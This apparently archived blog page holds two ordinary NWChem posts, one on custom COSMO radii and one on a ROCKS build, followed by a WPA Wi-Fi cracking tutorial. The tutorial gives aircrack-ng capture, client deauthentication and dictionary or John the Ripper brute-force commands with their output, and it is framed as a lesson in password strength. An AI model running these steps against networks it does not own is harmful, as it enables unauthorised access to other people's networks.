31 October 2012

273. NWChem and COSMO: custom radii

There are two approaches described in the nwchem manual for using custom radii in COSMO calculations:

geometry
  H  0 0 0
  H  0 1 0
  O  1 0 0
end
cosmo
       radius 1.1
              1.1
              1.8
end

and
cosmo
end
set cosmo:map custom.par

where custom.par looks like this:
H 1.1
O 1.8
The downside to the first example is that it's a PITA to use -- you need to enter each vdw radius in the order you are listing the atoms in the geometry section. It means that for a 50 atom geometry you need to enter 50 values, even if all 50 atoms are the same element.

The downside with the second example is that you need to first create the run folder, put cosmo.par there and first then can you submit.

An easier approach is to create the custom.par on the fly using task shell:
task shell "echo -e 'H 1.1 \n O 1.8' > mycosmopars.par"
cosmo
end
set cosmo:map mycosmopars.par

30 October 2012

272. Compiling NWChem 6.1.1.1 on ROCKS 5.4.3/CentOS 5.6

Nothing weird with this one and it's all but identical to the build on debian, but here's a step by step anyway to help those who are computational chemists, but not sysadmins.

Preparations:
First compile openblas according to http://verahill.blogspot.com.au/2012/05/building-nwchem-61-on-debian.html 

Next, create e.g. /share/apps/nwchem, like this
sudo mkdir /share/apps/nwchem
sudo chmod 755 /share/apps/nwchem

It will allows you to read, write and execute. It will allow group members and 'world' to read and execute, but not write.

If you've already built earlier versions of nwchem you want to skip the steps above.

NWChem:
You will need to go to http://www.nwchem-sw.org/index.php/Download and download version 6.1.1. Using the direct link (http://www.nwchem-sw.org/images/Nwchem-6.1.1-src.2012-06-27.tar.gz) with wget isn't working for me anymore.

Put your Nwchem-6.1.1-src.2012-06-27.tar.gz in /share/apps/nwchem and expand it.
tar xvf Nwchem-6.1.1-src.2012-06-27.tar.gz
cd nwchem-6.1.1-src/

Create buildconf.sh
export LARGE_FILES=TRUE
export TCGRSH=/usr/bin/ssh
export NWCHEM_TOP=`pwd`
export NWCHEM_TARGET=LINUX64
export NWCHEM_MODULES="all python"
export PYTHONHOME=/opt/rocks
export PYTHONVERSION=2.4
export USE_MPI=y
export USE_MPIF=y
export USE_MPIF4=y
export MPI_LOC=/opt/openmpi
export MPI_INCLUDE=/opt/openmpi/include
export LIBRARY_PATH=$LIBRARY_PATH:/opt/openmpi/lib:/share/apps/openblas
export LIBMPI="-lmpi -lopen-rte -lopen-pal -ldl -lmpi_f77 -lpthread"
export BLASOPT="-L/share/apps/openblas/lib -lopenblas -lopenblas_nehalem-r0.1.1 -lopenblas_nehalemp-r0.1.1"
cd $NWCHEM_TOP/src
export FC=gfortran
make clean
make  nwchem_config
make  FC=gfortran |tee make.log
cd ../contrib
./getmem.nwchem

Before running it, edit src/config/makefile.h and change line 1957:
1957      EXTRA_LIBS +=    -lnwcutil  -lpthread -lutil -ldl -lz -lssl
You are now ready to build.
time sh buildconf.sh

It took about 15 minutes to build -- a clear improvement over 6.1 for me (30 min+)

Create a default.nwchemrc in your /share/apps/nwchem/nwchem-6.1.1-src/ folder
nwchem_basis_library /share/apps/nwchem/nwchem-6.1.1-src/src/basis/libraries/
ffield amber
amber_1 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_s/
amber_2 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_x/
amber_3 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_q/
amber_4 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_u/
amber_5 /share/apps/nwchem/nwchem-6.1.1-src/src/data/custom/
spce /share/apps/nwchem/nwchem-6.1.1-src/src/data/solvents/spce.rst
charmm_s /share/apps/nwchem/nwchem-6.1.1-src/src/data/charmm_s/
charmm_x /share/apps/nwchem/nwchem-6.1.1-src/src/data/charmm_x/
Then each user can do
ln -s /share/apps/nwchem/nwchem-6.1.1-src/default.nwchemrc ~/.nwchemrc

You might also want to add nwchem to path -- add
export PATH=$PATH:/share/apps/nwchem/nwchem-6.1.1-src
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/openmpi/lib:/share/apps/openblas
to your ~/.bashrc

271. Your neighbours' WPA and you

So WEP is very easy to break, but WPA is much more of a challenge and breaking it involves a brute force attack.

The point of this post is to show that 1) you should select reasonably complex passwords (complex from a dictionary/autogeneration POV) and 2) no password is uncrackable, so changing your password on a regular basis is a good idea.

See http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html to get set up with aircrack and kismet.

For this post I used my office wifi and my android phone as the client.
 AP: "edunet2", Channel 6, MAC 00:1F:33:30:XX:XX,  Client: MAC 00:23:76:B0:XX:XX

Snooping
Kismet is a good tool for this. See here for how to get started with kismet: http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html

Or you could just use your android phone and a decent wireless scanner...


Attacking
First set up your interface and a work directory:
mkdir ~/airscan
cd ~/airscan
sudo airmon-ng start wlan1

Next, start to collect data:
sudo airodump-ng -c 6 --bssid 00:1F:33:30:XX:XX -w psk wlan1
CH 6 ][ Elapsed: 2 mins ][ 2012-10-29 11:43 ][ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:1F:33:30:XX:XX -21 0 1536 711 0 6 54e. WPA TKIP PSK edunet2 BSSID STATION PWR Rate Lost Packets 00:1F:33:30:XX:XX 00:23:76:B0:XX:XX -18 54e-54e 0
You can now either wait, and wait and wait -- until you manage to capture a handshake (connection between client and AP).

 Or you can force things a bit if there's a client attached. To force it, de-authenticate the real client and hope that it's been set to auto-reconnect.
sudo aireplay-ng -0 1 -a 00:1F:33:30:XX:XX -c 00:23:76:B0:XX:XX wlan1
11:41:03 Waiting for beacon frame (BSSID: 00:1F:33:30:XX:XX) on channel 6 11:41:04 Sending 64 directed DeAuth. STMAC: [00:23:76:B0:XX:XX] [ 0|63 ACKs]
You're done when you see "WPA handshake: 00:1F:33:30:XX:XX" in the upper right corner.

Depending on how far away you are from the AP and the client this may or may not be easy.

Cracking the password exchanged during the handshake is the biggest challenge though.

Cracking for show
In the case you actually already know the password (e.g. you're cracking your own wireless), create a file called password.lst with your password in it. Or get a dictionary file and add your password to it.

Then run
aircrack-ng -w password.lst -b 00:1F:33:30:XX:XX psk*.cap

which gives
                                 Aircrack-ng 1.1 r1901


                   [00:00:00] 1 keys tested (389.52 k/s)


                      KEY FOUND! [ supersecretpassword ]


      Master Key     : 49 97 0F F9 BE 9E BB DB 9B 92 70 E2 2A 31 D5 1D 
                       29 31 24 17 83 E9 45 63 D3 B0 E1 AE FA 65 DF 7B 

      Transient Key  : 37 6A 8D BC D6 2F 13 BD 31 DA B8 F4 21 A7 65 5C 
                       A9 39 9A 6B 68 44 D6 12 17 D2 E2 A5 6E 9E 51 19 
                       4D A7 F7 5E 96 EB 41 06 D5 55 8A 53 23 04 66 D1 
                       86 AC CC A1 13 17 CC 1A BF 62 9E 9B 20 6C DC 10 

      EAPOL HMAC     : B3 07 9D 1A 16 A4 E0 EB C2 EE 71 81 D5 CB 56 E8 

As far as I understand aircrack-ng only support dictionary based attacks for WPA.


Brute-force using John the Ripper (sort of):
Ideally I should use the method shown below this section, but I haven't quite gotten that to work.

Instead I use john to generate the random strings and pipe them to aircrack-ng:

/opt/john/john-1.7.9/run/./john  --incremental=Alpha --stdout| aircrack-ng -b 00:1F:33:30:XX:XX -w - psk*.cap

And that kind of works, although awkwardly so -- you can look at john.conf for limits to how the random passwords are generated (i.e. MaxLen, MinLen)

What should've worked follows below -- but it doesn't work for me.


So far not working:
*In theory everything below works, but I'm having no luck cracking the password even if I put it in the dictionary -- which is the points of the whole exercise.

Brute-forcing using John the Ripper:
This requires more brawn than brain, so using e.g. John the Ripper may be a good idea. See here for a suitable set-up for a beowulf cluster: http://verahill.blogspot.com.au/2012/09/compiling-john-ripper-singleserial.html

The only issue is that John the Ripper doesn't handle cap files directly.

Compile and install cap2hccap:
mkdir ~/tmp/cap2hccap
cd ~/tmp/cap2hccap
wget http://sourceforge.net/projects/cap2hccap/files/cap2hccap.tar.gz
tar xvf cap2hccap.tar.gz
make

That creates a binary called cap2hccap.bin.

You might get a few warnings, but that's nothing to worry about. You might want to move the binary to e.g. /usr/local/bin
sudo mv cap2hccap.bin /usr/local/bin/

Convert your cap file from before
cap2hccap.bin psk-02.cap psk-02.hccap
[info ] writing handshake for "edunet2".
Convert that file in turn:
/opt/john/john-1.7.9-jumbo-6/run/hccap2john psk-02.hccap > psk-02.john

And crack
touch john.ini
john --wordlist=password.lst --format=wpapskda psk-02.john

I'm just generally having very little luck with john the ripper to be honest, regardless of what I'm trying to crack -- so far I've only managed to test the password strengths of users on one of my linux boxes.


Errors:
If you get
./hccap2john psk-02.hccap psk-02.john
hccap2john: hccap2john.c:75: process_file: Assertion `bytes==392' failed. Aborted
you should upgrade to version 1.7.9-jumbo-7 or better.
 Bug reported here: https://bugs.archlinux.org/task/30516 and here: http://www.openwall.com/lists/john-dev/2012/07/07/3

If you get
john --wordlist=/opt/john/wordlist.lst --format=wpapsk psk-02.john
fopen: $JOHN/john.ini: No such file or directory
just create a file called john.ini in your working directory
touch john.ini